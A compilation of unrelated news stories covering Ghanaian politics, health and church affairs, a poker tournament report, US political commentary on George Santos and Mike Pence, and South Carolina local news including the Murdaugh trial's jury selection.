That in the spirit and cause of transparency and accountability to the Ghanaian people, the current Board of Trustees of the National Cathedral shall appoint an independent, nationally recognised accounting firm to audit all public funds contributed to and spent by the National Cathedral.



Auditors will also audit the overall cost of the project. This appointment of an auditor shall take place before the deferment of activities of the Board of Trustees, excerpts of the memo said.



Meanwhile, the two Bible scholars also said the project should not continue until the economic conditions in the country is improved.



That current activities advancing the construction of Ghanas National Cathedral shall be deferred until the atmospherics in Ghana are improved and the audit of the Cathedral account is done, excerpts of the memo added.

Source: Myjoyonline









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As part of staff bonding and energising staff for 2023, the management and Staff of UBA Ghana on Sunday held a Thanksgiving Service to offer praise and appreciation to the Almighty for His goodness and protection throughout 2022 and for 2023 ahead.



The event was held at the ICGC, Zoe Temple in Tema Community 5. Staff participated in their numbers and shared fellowship together. Staff from different offices were excited to meet each other as they joined the ICGC to worship.



The church service featured divine praises and worship and the ministration of the Word of God on the message Altitudes to Cultivate Whiles Picking Up Fragments



In a message, Chris Ofikulu, Managing Director of UBA Ghana encouraged staff to always be grateful to God in all situations, saying God has really been good to UBA Ghana, despite the turmoil, the bank remains profitable. 



He remarked, I sincerely thank you all for the attendance and participation, diligence self-motivation, without which it would not have been possible. The success of the thanksgiving service has set us on the path of greater growth this year and we can achieve a whole lot more with the help of God.



Reverend Kojo Amo-Asare, head pastor at the Zoe Temple took the opportunity to pray for the staff of UBA Ghana. There was also a song ministration by Florence Asamoah, Head of Corporate Collection.



In attendance was the Regional CEO for West Africa, Abiola Bawuah and her husband as well as staff from the Accra Tema area.

Source: Peacefmonline.com/ghana









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The General Superintendent of the Assemblies of God Church, Ghana, Rev. Stephen Wengam, has described Vice President Dr Mahamudu Bawumia as a model of peace that the world can follow to get rid of religious strife.



Rev. Wengam said Dr Bawumias constant appearances at Christian church functions despite being a practising Muslim is a roadmap for how all people can live peaceably together irrespective of their religious differences.



He made these comments when he led Executive Presbytery (EP) Officers and some EP members of the church to pay a courtesy call on the Vice President.



The visit was to introduce the new leadership of Assemblies of God Ghana to the Vice President.



According to Rev. Wengam, Bawumias constant visit to churches has been instrumental in fostering religious harmony among Ghanaians.



He praised the Veep for upholding Biblical values by promoting peace and goodwill among all men.



On the economic front, Rev. Wengam appealed to the Vice President to use his position as Chairman of the Economic Management Team to help spare individual bondholders and other vulnerable groups from the worst effects of the debt exchange program.



He assured Dr Bawumia, that Ghanas economic recovery is topmost on the churchs prayer topics.



This is why as part of its one-week prayer and fasting programme, prayers were said for the country in all Assemblies of God churches throughout the country. he said.



Bawumia, for his part, commended the Assemblies of God Ghana for being the first Pentecostal Church to use social action activities to evangelise Ghana.



He also thanked the church for investing in the establishment of 350 schools.



Dr Bawumia congratulated the newly elected leadership team of Assemblies of God Ghana and wished them well.



He further assured Ghanaians of the governments determination to resolve the current economic problems and urged the Church to continue to use its platforms to preach peaceful religious co-existence.

Source: Peacefmonline.com/Ghana









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Kadjebi District in the Oti Region has recorded 23 teenage pregnancy cases in 2022 as against 26 in 2021.



The district recorded 43 cases of teenage pregnancy in 2020.



Out of the total number of cases, 17 nursing mothers went back to school in 2022, 19 in 2021 and eight in 2020.



Mr Seth Seyram Deh, the Kadjebi District Education Director, disclosed these in an address read on his behalf at the 2022 Performance Meeting at Kadjebi.



He said the figure represents only officially reported cases to the District Directorate of Ghana Education Service (GES) and that they might be higher.



The Budget Officer for the district urged residents to be concerned about the development and help prevent teenage pregnancy.



Mr Agortimevor encouraged parents to be responsible for the upkeep of their children so that they will not be forced to fend for themselves which could lead them into pregnancy.



He said another issue affecting education in the district was the teacher attrition rate as out of 99 trained teachers posted to the district in 2022, 48 had left.



He said if this problem persists, then what happened to the district in 2012, where classrooms were without teachers would occur again.



The Budget Officer, therefore, appealed to the District Assembly to support teachers for further studies based on the need basis of the district to help solve the teacher attrition rate.



Mr Agortimevor said another disturbing issue of concern was open defecation in the classrooms by some unscrupulous persons for reasons best known to them.





Source: GNA









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An Accra Circuit Court has remanded a commercial sex worker into Police custody over alleged human trafficking.



Osahenvimwen Raymond has denied receiving Favour Success, 17, the victim and others from Nigeria to Ghana to be used for cybercrime.



He will be brought back to the Court on January 31, 2023.



Deputy Superintendent of Police (DSP) Emmanuel Nyamekye told the Court presided over by Mr Samuel Bright Acquah, who is serving as a relief judge for Court 8, that both complainant/victim and Raymond, the accused person, were Nigerians, residing at Kwabenya.



He said in 2022, the accused person allegedly recruited the complainant and 17 other victims in Nigeria through his syndicate who acted as agents for him based on deceit that the accused was a businessman in Ghana and could help them to progress in life.



The prosecution said the victims were convinced by the deception of the accused and his agents and they were put in a bus in Nigeria with directions to where the accused person resided in Ghana.



On arrival of the victims in Ghana, they followed the directions to the accused persons house at Kwabenya and he allegedly started using them for internet fraud, the Court heard.



The prosecution said the victims did all that they could to enable the accused person to release them to return to Nigeria but all efforts proved futile.



He said the complainant became fed-up and contacted his elder brother, a police officer in Nigeria, and the brother also linked up with Police Intelligence Unit leading to the arrest of the accused.



After investigation, the accused person was charged with the offences and put before Court.



The prosecution objected to bail, saying that the accused person was a foreigner and could easily jump bail.

Related

Source: GNA









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Ghana recorded a total of 3,745,398 confirmed malaria infections from January to September 2022 out of 7,749,627 tests conducted, data from the National Malaria Elimination Programme (NMEP) has shown.



The figure shows a decrease in malaria infection as compared to 4,133,020 malaria cases recorded in the same period in 2021.



The country has also seen a reduction in malaria deaths from 196 in 2021 to 120 in 2022.



Dr Keziah Malm, Programme Manager of the National Malaria Elimination Programme (NMEP), told the Ghana News Agency (GNA) that more people were tested for malaria before treatment with testing rate at 97.6 per cent presently.



She said the decline in malaria infections could be attributed to the use of effective malaria prevention interventions such as the use of Insecticide Treated Nets (ITN), Indoor Residual Spraying (IRS), larva source management, Seasonal Malaria Chemoprevention (SMC), malaria vaccine pilot and case management in the country.



Dr Malm said the fight against malaria, which started from the control phase had moved to the elimination stage.



Ghana has made strides in the fight against malaria, this year we hope to see a significant decrease in the number of suspected cases recorded at the Outpatient Department in health facilities.



She stated that the Global Fund had provided a sum of $47 million to fund activities of the programme this year in addition to funding from the government and other organisations.



The Programme Manager stated that this year, the NMEP would embark on ITNs distribution through antenatal care and child welfare in schools, especially in rural areas.



She said the NMEP target for 2025 was to ensure that all get tested for malaria and were pushing to ensure that persons who had not tested for Malaria would not have access to malaria treatment using the National Health Insurance card.



Dr Malm assured Ghanaians that the change of name from the National Malaria Control Programme to the National Malaria Elimination Programme would be backed by concrete actions and activities to help push the vision of eliminating malaria in Ghana.



Malaria is a life-threatening disease caused by parasites that are transmitted to people through the bites of infected female Anopheles mosquitoes.



The severity of malaria varies based on the species of plasmodium.



The symptoms are chills, fever and sweating, usually occurring a few weeks after being bitten.





Source: GNA









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The National Communication Director of the ruling New Patriotic Party (NPP), Richard Ahiagbah, has reacted to the ongoing scrutiny of the government following the release of an audit of the countrys COVID-19 expenditure.



The NPP communication director said that Ghanaians can talk about the governments COVID-19 expenditure only because the pandemic did not destroy the country.



In a tweet shared on Monday, January 23, 2023, Ahiagbah commended President Nana Addo Dankwa Akufo-Addo for seeing the country through the pandemic and urged Ghanaians not to forget how the country survived the pandemic.



It's possible today to discuss Covid-19 expenditure because Ghana made it through in one piece. Thank God & the people-centred leadership of the Akufo Addo govt. So, let's count the cost, but let's not forget how we pulled through, parts of his tweet read.



An audit report on the government of Ghanas COVID-19 expenditure has shown that nearly 50 per cent of the money the state mobilised to mitigate the impact of the COVID-19 pandemic in the country was used for budget support and not issues related to the outbreak.



The report, which was prepared by the Auditor General Department, indicated that the government raised nearly GH22 billion, as of June 2022, to fight COVID-19 in Ghana through the Contingency Fund, the World Bank Group, the International Monetary Fund (IMF), the African Development Bank (AfDB) and the European Union (EU).



However, out of the total amount raised to fight COVID-19 only about GH12 billion (a little over 50 percent of the total funds raised) was used for activities geared toward fighting the spread of the virus and its impact in Ghana.

















Source: ghanaweb.com









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A section of traditional leaders in Ghana have threatened to organise a nationwide demonstration if Parliament fails to pass the Anti-LGBTQ+ Bill in the first quarter of 2023.



The traditional leaders added that all chiefs across the country will be forced to hit the streets with their citizenry to demand the immediate passage of the anti-LGBTQ bill which has been laid before Parliament.



The chiefs at a press conference today, Monday, January 23, 2023, in the Eastern Region, led by the Nponuahene of Akuapem Adukrom, Nana Obiri Atakorah Asare, also called on the Pentecostal and Christian Councils to join them as it is their core mandate.



According to the traditional leaders, all religions in Africa frown on the act and Ghana cannot accept homosexuality.



The chiefs threatened that failure to pass the bill will force them to demonstrate.









Source: class fm









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Dr. Zilla Limann, Daughter of Dr Hilla Limann, a Ghanaian diplomat and politician who served as the President of Ghana from 24 September 1979 to 31 December 1981 has revealed an emotional side as to how she learned about her fathers death.



She spoke on the GTV Breakfast Show on 23rd January 2023.



According to Zilla, It was a very emotional moment because I was in a boarding school at Achimota, and I didnt know my dad was ill and nobody told me because I was in school. When it happened, it was on the news and my friends had already heard about it while I hadnt, they all thought I knew but I didnt and so my best friend later broke the news to me and I was so confused, I thought it was a joke.



Upon explaining how her father was, Zilla said to me he was simply Dada and we are seven children and we always saw him at home, he would play with us and advise us, people would say we were the dbees at that time. He was our home teacher, poet, tutor and our everything because it was purely a father and children affair and we didnt know him in the political life until in 1992 he chose to delve back into politics.



Zilla Limann explained that Ghanaians have not treated her father well, but she would not cry over spilt milk because her father, Dr Hilla Limann never held any grudges against anyone hence, we grew up not hating anyone, she noted.



Dr Hilla Limann was President of Ghana from 1979 to 1981. A military junta led by the late former President Jerry John Rawlings toppled his Administration. Dr Limann died on January 23, 1998, leaving behind a wife and seven children.





Source: gbc









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The University of Energy and Natural Resources (UENR), has signed a Memorandum of Understanding (M.O.U) with Kosmos Innovation Center (KIC) to implement the KIC AgriTech Challenge Program at the regional level by training students in enterprises under the KIC mentorship program.



The partnership will see students from the university and youth of Bono Region get trained and exposed to vast opportunities in agri-entrepreneurship and innovation. The aim is to foster job creation, enhancement in agriculture and economic growth for the youth in the long-term.



Speaking during the signing ceremony, the Executive Director of KIC, Benjamin Gyan-Kesse, expressed his excitement about the collaboration, saying it is as an opportunity for the parties to leverage on their respective strengths, experiences, and resources to create impact in generating youth interest and changing mindsets while creating job opportunities.

UENR provides leadership and management of energy and natural resources and is also a center of excellence in these areas. The signing provides KIC with the opportunity to connect with more young people in the areas of entrepreneurship, innovation and job creation as our core mandate suggests, the Executive Director of KIC said.



The Vice Chancellor of UENR Professor Elvis Asare-Bediako, mentioned that the university was committed to partnering with relevant stakeholders who have the necessary tools, skills to assist students at the university and the youth of the region to secure their future.



The partnership with UENR is for a period of 3 years, starting from 2023 to 2025 but renewable on yearly basis. In this collaboration, KIC and UENR will join efforts to create job opportunities and empower vulnerable groups to aid a resilient agricultural sector.



KIC will be signing similar agreements with 4 more universities in 4 different regions this year, bringing to a total of 10 regions covered from last year. These Universities are Ho Technical University-Volta Region, Koforidua Technical University-Eastern Region, Takoradi Technical University-Western Region and Bolgatanga Technical University-Upper East Region.

Universities signed on the KIC program last year include University of Ghana-Greater Accra; University of Cape Coast-Central Region, Kwame Nkrumah University of Science and Technology (KNUST)-Ashanti Region, University for Development Studies-Northern Region and University for Business Integration and Development Studies (UBIDS)-Upper West Region.



As part of KICs collaboration with Mastercard Foundation, the program is expected to extend its impact across all the regions of Ghana by 2025, ensuring more young people with interest in entrepreneurship and agriculture are supported. The program also works with Agri-MSMEs in all the regions by supporting them to accelerate.

KIC will be signing similar agreements with 6 more universities in the remaining regions of Ghana in 2024 as part of the program expansion.



National Service Secretariat (NSS) also signed an MOU with KIC to develop the entrepreneurial skills of graduates under the KIC mentorship program where these graduates are assigned to KIC businesses to work and learn entrepreneurship the practical way.



KIC remains committed to focus on empowering young men and women to drive innovation in agriculture, the country's largest employer, and training them to lead sustainable, successful businesses. Since its inception, KIC has trained more than 1300 young people with business skills and entrepreneurship through participation and have nurtured some of the most promising youth-driven, agri-tech startups in Ghana today and 127 agri-MSMEs have been Trained.





Source: Peacefmonline.com/ghana









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The NDC Member of Parliament(MP) for North Tongu constituency, Samuel Okudzeto Ablakwa has asked the National Cathedral Board of Trustees to answer some seven pertinent questions as they embark on their renewed media outreach since his expose about Rev. Victor Kusi Boateng alias Kwabena Adu Gyamfi, Secretary to the Board.



According to Mr. Ablakwa it is great to observe the spirited media advocacy by some members of the National Cathedral Board of Trustees, as such they should kindly respond to his seven pertinent questions during their media engageement.



He posted on his Twitter page Monday afteroon.



JNS Talent Centre Ltd which allegedly runs a creche in Dawhenya was paid some GH2.6 million to help build the National Cathedral.



The lawmaker on Monday, January 16, further alleged that JNS Talent is owned by one Kwabena Adu Gyamfi.



According to him, documents in his possession reveal that Mr Kwabena Adu Gyamfi is the same as Rev. Victor Kusi Boateng.



Mr Okudzeto Ablakwa, on Monday, January 16, petitioned the Commission on Human Rights and Administrative Justice (CHRAJ) to probe the GH2.6 million paid to JNS Talent, a company owned by Rev. Kusi Boateng, Secretary of the National Cathedral Board.



See below his post

Ablakwa's 7 Pertinent Questions

Source: Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Lawyer Justin Kodua Frimpong, General Secretary of the ruling New Patriotic Party (NPP), on Friday, January 20, 2022, engaged the leadership of the Vehicles and Asset Dealers Union of Ghana, and that of the Okada Riders Association, at the Party headquarters.



Addressing the groups, the General Secretary recounted that the history of the NPP could be traced to business associations and groups which contributed enormously during the formative years of the Party when most businesses then, were disillusioned by the military rule of the PNDC and their many acrimonious policies towards the private sector. He said, the NPP, due to its ideology of liberating the energies of the people for the growth of a property-owning democracy, has over the years, implemented business-friendly policies that prioritise the private sector as a special engine for the growth of the local economy.



Lawyer Justin Kodua noted that on account of the Party's long history of a healthy relationship with private businesses and ideological inclination towards the private sector, it was prudent for the Party to frequently engage business groups and associations to deliberate on issues of mutual concerns, ascertain the impacts of government's policies on private businesses and most importantly, pursue practicable remedial solutions to various concerns that would emerge.



The 34-member delegation, which consisted of the leadership of the two groups and representatives of their memberships from across the nation, praised the General Secretary for his audience and proactiveness to ensuring a smooth working relationship amongst the party, government, and the business community. They seized the opportunity to brief the General Secretary of the governing party on some of their concerns as members of the business community whereupon they pleaded with him to use his reputable and influential office to intervene, and also suggested possible solutions to tackling the issues confronting them.



In their concluding remarks, both groups urged the NPP to deliver to Ghanaians, a modern and compassionate governance that would address the needs of the masses and lay the foundation for the prosperity of future generations.



The General Secretary was flanked by other national officers of the Party namely: Madam Safia Mohammed, Deputy National Women's Organiser; Mr. William Yamoah, Director for Finance and Administration; Mr. Kwame Amponsah- Kyeretwie, Director for External Affairs; Mr. Ernest Owusu-Kumih, Director for Research, Mr. Kwabena Frimpong, Deputy Director for Protocol, Mr. Stephen Forson, Deputy Director for Information Technology; Dr. Asiedu Kokro, Deputy Director for Communications; and Mr. George Krobea Asante, Deputy Director for Communications.



In his closing address, the party's Chief Scribe assured the groups of his preparednesses to engage relevant stakeholders towards addressing their grievances.





Source: Peacefmonline.com









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Sofo maame Florence Obinim has has lost her calling! The gospel musician is now a high-class slay queen focusing on how to glam up and look seductive.



Florence Obinim has shocked social media users as videos of her are surfacing on the net wearing contact lens and nose ring.



Florence Obinim has not been in the media for a long time now. According to reports, her husband has relocated her and their children to Spain.

Florence Obinim therefore has been hiding and hasnt done anything to call for media attention as her and her husband have formerly done. But she has made a huge comeback slaying like never before.



The woman of God is seen looking fancy in contact lenses and nose ring. Shockingly, she is seen in a video preaching the world of God.



Watch the video below;

View this post on Instagram A post shared by   (@mari_gyataa)











Source: instagram/ghanacelebrities









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The senior pastor of Fire and Omega Ministries, Apostle Johnson Suleman has filed a defamation lawsuit against actress Halima Abubakar.



Halima had accused Apostle Suleman of having an affair with her and inflicting her with sickness.

She also alleged that she was pregnant for him three times and lost all three while he also had sex with her while she bled.



The preacher, through his legal representatives, Ephesus Lex Attorneys and Solicitors, brought Ms Abubakar before Justice. J. Enobie Obanor of the High Court of the Federal Capital Territory, Abuja.



He asked the court to direct the defendant to publish a retraction of her defamatory statements posted on her Instagram handle and on several online blogs and newspapers.



He also asked the court to compel Halima to pay for the deletion of all links and reportage of the said defamatory comments on all platforms on the internet.



Suleman also demanded the sum of N1 billion as aggravated and exemplary damages for libel, an order of perpetual injunction restraining her from further publishing or causing to be published the said or similar defamatory statements.



He is also asking that Halima be made to pay the sum of N20 million for legal fees.



The case comes up for hearing on 25th March 2023.















Source: dailypost.ng









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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An OPP helicopter lands at the scene of a rescue on Six Mile Lake in southern Ontario, Sunday January 22, 2023. The body of a snowmobiler who had been missing on a southern Ontario lake has been recovered by divers. THE CANADIAN PRESS/HO-Southern Georgian Bay OPP **MANDATORY CREDIT**
There are just six players returning to the table for the third and final day of the $100,000 PCA Super High Roller at the 2023 PokerStars Caribbean Adventure in The Bahamas. The majority of the $4.5 million prizepool is still up for grabs with the winner walking home with a cool $1,545,080 and the coveted PokerStars trophy.

A total of 49 entries were recorded in this event and Mike Watson has been the clear chip leader over the course of the first two days. The Canadian poker pro from Newfoundland finished Day 1 with 830,000 chips and will be returning for Day 3 with 3,015,000 chips and the odds-on favorite. Watson already has over $16.6 million in earnings on his poker resume but another seven-figure score at one of the world's top poker spots would push him even further up the ranks.

He is followed closely by two Spaniards Juan Pardo (2,200,000) and Adrian Mateos (2,035,000) who have plenty to show for on their poker resumes as well. Not far in the distance are a couple of American high rollers, Seth Davies (1,870,000) and Isaac Haxton (1,645,000), who are also very well known on the poker circuit. Rounding out the remaining players is another Canadian, Daniel Dvoress (590,000), who will be looking to spin up his short stack.

Day 3 Seating Assignments and Chip Counts

Seat Player Country Chip Count Big Blinds 1 Seth Davies United States 1,870,000 37 2 Isaac Haxton United States 1,645,000 33 3 Mike Watson Canada 3,015,000 60 4 Adrian Mateos Spain 2,035,000 41 5 Daniel Dvoress Canada 1,590,000 32 6 Juan Pardo Spain 2,200,000 44

The action is slated to get underway at 12:30 p.m. local time inside the Baha Mar Resort & Casino convention center. The blinds will resume on Level 18 at 25,000/50,000 with a 50,000 big blind ante. The levels will continue to be 60 minutes in length until just three players remain where the levels will be cut in half. Each player has locked up over $320,000 thus far but they will have their sights set on the first-place prize.

The PokerNews live reporting team will be back on the tournament floor to bring you all of the live updates en route to crowning a new champion later today.
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Rachel Maddow obtained exclusive video of Rep. George Santos claiming he was the victim of an assassination attempt.

Video:

Here is the video of George Santos claiming that someone tried to assassinate him via #Maddow pic.twitter.com/dh4WpaV4Eb  Sarah Reese Jones (@PoliticusSarah) January 24, 2023

https://youtu.be/4H7AQtHR_0k

Maddow said:



I want you to see it. In this interview, then congressman-elect George Santos is speaking with the host in Portuguese, so we have subtitles it. He starts off talking about an alleged act of vandalism, which he says was targeted at him simply because hes a Republican. But then in the midst of that, he says, oh, also someone tried to murder him.

We have already suffered an attempt on my life, an assassination attempt. There was an assassination attempt, really? Then congressman-elect George Santos did not elaborate on his claim in the interview.

Here is the screenshot with the English subtitle:

Kevin McCarthy thinks that Eric Swalwell and Adam Schiff are unfit to serve on committees, but he gave George Santos two committee assignments.

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It is fun to laugh at Santoss outrageous lies, and late-night comedians are having a field day with him, but George Santos is a pathological liar who should not be in any position of power.

Having a person like Santos in Congress and on congressional committees is dangerous to the country.

If George Santos finds it this easy to lie and defraud, imagine what he could do with national security information.

Santoss casual lying is what makes him dangerous.
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Former Vice President Mike Pence had a dozen classified documents discovered at his house last week by his lawyer.

CNN reported:

A lawyer for former Vice President Mike Pence discovered about a dozen documents marked as classified at Pences Indiana home last week, and he has turned those classified records over to the FBI, multiple sources familiar with the matter told CNN.

The FBI and the Justice Departments National Security Division have launched a review of the documents and how they ended up in Pences house in Indiana.

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Pence, like Biden, turned the classified documents over to the FBI voluntarily. The former vice president had the search of his conducted as a precaution.

The Pence and Biden situations are different from Donald Trumps in that both of the men turned over the classified documents to the authorities as soon as they were found. Neither the current president nor former vice president claimed ownership of the documents or tried to fight the DOJ over their return.

The Pence classified documents news should take some wind out of the sails of Republicans who are trying to turn the Biden story into a major scandal.

The fact that both Pence and Biden followed the law and immediately turned over the documents illustrates how criminal Donald Trumps behavior
After discussing an incentive to recruit teachers, the Aiken County Board of Education is turning to teacher retention for the 2023-24 school year.

School board members will discuss a $1,000 retention bonus for teachers, JROTC instructors, school psychologists, occupational therapists, physical therapists, school nurses and LOA5/rehired retirees in bonus-eligible teaching positions, according to the agenda notes.

Aiken schools continue to deal with a teacher shortage, the agenda notes say, "That shortage places a greater burden on existing staff. Turnover rate for the 2021-22 school year was 16.1% and the district currently has 41 classroom teacher vacancies."

The school district described returning as a person employed with the school district through the end of the 2022-23 school year and is employed on the first scheduled workday for their position for the 2023-24 school year.

The bonus would be paid out by June 9 for employees who have signed contracts for 2023-24. For all other employees, the bonus will be paid out by Aug. 9, according to the agenda notes.

The projected cost for the retention bonus is an estimated $1.5 million and the district will recommend it come from the general fund balance, the agenda states.

The school board approved a $10,000 sign-on bonus for some new teachers for the 2023-24 school year at the Jan. 10 meeting.

The Aiken County Board of Education will meet Tuesday at 6 p.m. in the district office, 1000 Brookhaven Drive. To view the full agenda, visit acpsd.net.

+2 Board sees scenarios for rezoning with Highland Springs Middle School As Highland Springs Middle School gets closer to opening, the school district is preparing to look at rezoning .
Goose Creek NAACP members with South Carolina State Representative JA Moore (second from right) in a recent photo. Also pictured is current President Sharina Haynes (second from left).
IRMO  The Columbiana Centre location of mall retail stalwart The Gap is closing on Jan. 24 as its parent company reduces its number of stores nationwide.

The store, which also included Gap Kids merchandise, has sold off most of its inventory at the Harbison location, and employees said Jan. 24 was its last day.

Remaining clearance items were priced at 60 percent off.

With the closing, The Gap will have no Midlands locations and only a small footprint in South Carolina, according to the company website.

Retail stores remain at Haywood Mall in Greenville and Mt. Pleasant Towne Centre, and Gap Factory locations remain at Tanger Outlets in North Charleston, Bluffton and Myrtle Beach.

The Columbiana location of The Gap was right in the middle of the April 2022 shooting that temporarily shut down the mall, with nine people hit in the crossfire and six others injured in the chaos.

The shooting took place in the main mall corridor just outside the retailer, and the store was closed for several days afterward.

As a national chain, The Gap has announced a plan to close about 220 store locations by 2024 as it is shifting its business away from being a centerpiece of shopping malls like Columbiana.

The chain also announced plans to close more than 100 Banana Republic locations.

Both chains were mall stalwarts in decades past but online retail has cut into their ability to drive trends and sales.

Like other similar retailers, The Gap has struggled to figure out the right brick-and-mortar size for the company and what it is offering consumers, according to an article in the San Francisco Standard.
GREENVILLE  In some ways, even JP and Ryland Rainsford cant believe it, but less than a year after leaving their established careers to start a specialized wholesale doughnut concept, the owners of Scouts Doughnuts are opening their own storefront.

Scouts will move into a space formerly occupied by Pizza Purists at 1700 East North St. in the Overbrook community east of downtown Greenville.

The couple built Scouts from the ground up after over two years of research and trial and error baking. Now, the move will allow them to grow beyond wholesale into retail to sell their unique doughnut brand on-site.

We knew that we wanted to be in our own brick and mortar long term for our business model to be sustainable, Ryland Rainsford said. The only thing we were waiting for was to see whether we had proven the opportunity in the market, to make sure we werent jumping into an abyss."

It was kind of always in the plan," he said, "and it just kind of became pretty clear: What are we waiting for?

The opportunity to have their own brick-and-mortar storefront in some ways follows the unexpected path the Rainsfords have walked since making the decision that they wanted something different in their lives.

Like Scouts delectable 144-layer confections, the Rainsfords reasons for pursuing their venture are multi-layered and dynamic.

The couple began their journey with a simple sentiment: They wanted to feel more connected. That went for their family and their community.

At the time, the Rainsfords had already proven themselves adept business owners, operating a very successful wedding photography business

But after seven years, things began to feel different  namely, the ability to connect with the people they photographed. They would share deep emotional experiences, and then afterwards, that was it.

At the same time, the couple was beginning to have children (they now have three ranging in age from three months to 5 years old), and working nights and weekends wasnt conducive to family time.

Ryland was also working as an engineer at Michelin, a job he enjoyed but that he somehow knew would never be his last stop.

And so the Riasnfords began to think. They determined several parameters for what they were seeking.

They wanted:

Something that didnt require them to work nights and weekends.

Something the whole family could do and grow together.

Something that allowed them to cultivate meaningful relationships.

Something that could become a part of and could contribute to their community.

Ideas came and went, but nothing quite stuck.

Nothing until Ryland got the idea for doughnuts.

He had been running with his regular group of friends, and several of the fellow runners had lamented the lack of good doughnuts in Greenville, without which they couldnt continue their post-run ritual of grabbing a box of piping hot and fresh to bring home and enjoy.

After about the 12th time Ryland heard this lament, he couldnt stop thinking about doughnuts. He shared the tentative thought with his wife, JP. The next morning, JP had already researched doughnuts and ideas of who they could contact for advice.

The idea of doughnuts seemed to check a lot of those boxes, he said.

But, they knew they didnt want to do just any typical doughnut. Thats how they landed on their 144-layer variety. It's in the same vein as a cronut (a croissant and doughnut hybrid created by French pastry chef Dominique Ansel in 2013), but the Rainsfords opted not to use that word.

Literally the only doughnut that stood out in our minds, the only one that was memorable, was at a wedding where the couple catered them in, Ryland said of their first layered doughnut experience. I was like, it looks like a doughnut, but I bit into it and my mind was blown.

Scouts has gained a following with its blend of light and airy pastries with a unique batch of flavors (theyve developed 39 this year). Some, like maple bacon, peaches and cream, apple cider and turtle, they knew would work from the get-go, but others like horchata, fig and goat cheese and Mexican hot chocolate, have been surprising wins.

While the business has grown through wholesale at local coffee shops and through pop-ups at various local businesses, the new bakery space will allow Scouts to grow.

While the doughnuts they create are about providing something delicious, they are also about providing connection, too. And in that way, the new space is allowing the Rainsfords and Scouts to do just that.

Not only is it a food that people can connect around, but we wanted a space where people could connect, Ryland said.

Scouts Doughnuts will open at 1700 E. North St. this spring. For more, visit https://www.scoutsdoughnuts.com or follow @ScoutsDoughnuts on social media.
The U.S. Senate includes two members from each state. In keeping with that tradition, two South Carolina high school students will represent South Carolina in the longstanding United States Senate Youth Program.

The students  one from the Upstate, another from the Lowcountry  will serve as delegates in the program held March 4-11 in Washington, D.C.

Kshiraj Talati of Greenvilles J.L. Mann High School, and Madison Hahn of Beaufort County's May River High School, will each receive a $10,000 undergraduate college scholarship. Talati's selection marks the second year in a row that Mann has sent a delegate to the program.

"I commend Kshiraj and Madison for their outstanding achievement during the rigorous and extremely competitive nomination process for the United States Senate Youth Program," S.C. Education Superintendent Molly Spearman said in recently announcing the selections. They represent the very best of our students in South Carolina, and I congratulate these two young leaders for receiving this prestigious honor.

The merit-based program is highly competitive and brings together 104 of the most-outstanding high school students  two from each state, the District of Columbia and the Department of Defense Education Activity  to Washington for a weeklong study of various dimensions of federal government.

Student delegates will hear major policy addresses by senators, Cabinet members, officials from the State Department, Department of Defense and directors of other federal agencies. The students will also participate in meetings with President Joe Biden and a U.S. Supreme Court justice.

The Hearst Foundation funds the undergraduate scholarships with encouragement to continue their educational coursework in government, history and public affairs.

Talati, who lives in Simpsonville, serves as J. L. Manns senior class president. In his sophomore year, he started a nonprofit organization to facilitate large-scale online silent auctions to serve causes such as homelessness, feeding the underserved and veteran support. His efforts have helped raise more than $200,000.

We are proud that Kshiraj has earned this honor, Mann principal Shannon Gibson said. He is a great student and will represent the U. S. Senate Youth Program with the same honor and integrity with which he represents J. L. Mann High School.

Hahn, who lives in Bluffton in the southern portion of Beaufort County, serves as her schools senior class president. She was selected as a representative for Palmetto Girls State, and was elected Youth Attorney General as part of South Carolina Youth in Governments state conference.

I have seen Madison Hahn engage in curricular and co-curricular events, and she always rises to the top in leadership, May River principal Todd Bornscheuer said. Madison will change the world and make it a better place.

The program was created by U.S. Senate resolution in 1962 and funded by the Hearst Foundation since its beginning.

The established mission statement is to increase young Americans understanding of the interrelationships of the three branches of government, the caliber and responsibilities of federally elected and appointed officials, and the vital importance of democratic decision making not only for America, but for people around the world.
KINGSTREE, S.C. Amanda Peterson and Quonasia Washington, Miss Williamsburg County 2023 and Miss Williamsburg County Teen 2023, will compete for the title of Miss South Carolina and Miss South Carolina Teen in June. Read moreMiss Williamsburg County and Miss Williamsburg County Teen to compete in state competition
Terrorist groups continue to pose a major threat for America and its allies -- even if U.S. policymakers have shifted most of their focus to Russia and China. Read moreWe can't ignore the terror threat from Somalia -- or the southern border
From nature paintings and watercolor creations to digital art and tie-dye fiber projects, the creative opportunities appear endless at the Blair Center for the Arts during the summer camp season. Read moreCamp Guide: Blair Center camps promote creativity
WALTERBORO  Potential jurors filed out of the Colleton County Courthouse in a slow trickle, avoiding jury duty because they couldnt miss work, hadnt arranged childcare or had recently served on other juries.

Others werent so lucky, unable to claim any of the exemptions that Judge Clifton Newman had offered them. But then the veteran judge asked a question that applied to everyone in the first wave of jurors.

Had anyone heard or read anything about the Alex Murdaugh double murder case? All 42 prospective jurors stood.

The moment was one of many in the first day of Murdaughs trial that spoke to the immense influence Murdaughs family wielded for a century in this corner of South Carolinas Lowcountry and the intense intrigue generated by the former Hampton lawyers precipitous fall from grace.

Other signs South Carolinas long-awaited trial of the century had descended on Walterboro: a crush of reporters from every conceivable outlet, food trucks parked outside to sate the masses and a list of potential witnesses so long it took the judge 12 minutes to read.

The trial began with jury selection, a process that is expected to wrap up on Jan. 24.

Newman screened more than 200 potential jurors on the trials first day, winnowing toward a tally of 12  plus six alternates  who will ultimately be tasked with deciding whether Murdaugh, 54, fatally shot his wife Maggie and youngest son Paul in June 2021 at the family's Colleton County hunting estate. The state has alleged he did so to engender sympathy and distract attention from a web of financial crimes that were in danger of coming to light.

Murdaughs myriad connections throughout the lightly populated county along with the cases high-profile nature posed a unique challenge.

One possible juror said he was friends with Paul Murdaugh and his brother, Buster, who could be called as a witness. Another said he recently shot skeet with one of Alex Murdaughs brothers. Another still said she was friends with one of the victims of the 2019 fatal boat crash that first brought public scrutiny to the Murdaugh family, in which Paul Murdaugh was allegedly boating under the influence.

Newman began the painstaking and often repetitive process of questioning prospective jurors around 10:30 a.m., interviewing the first slate about any conflicts and connections they might have with the case.

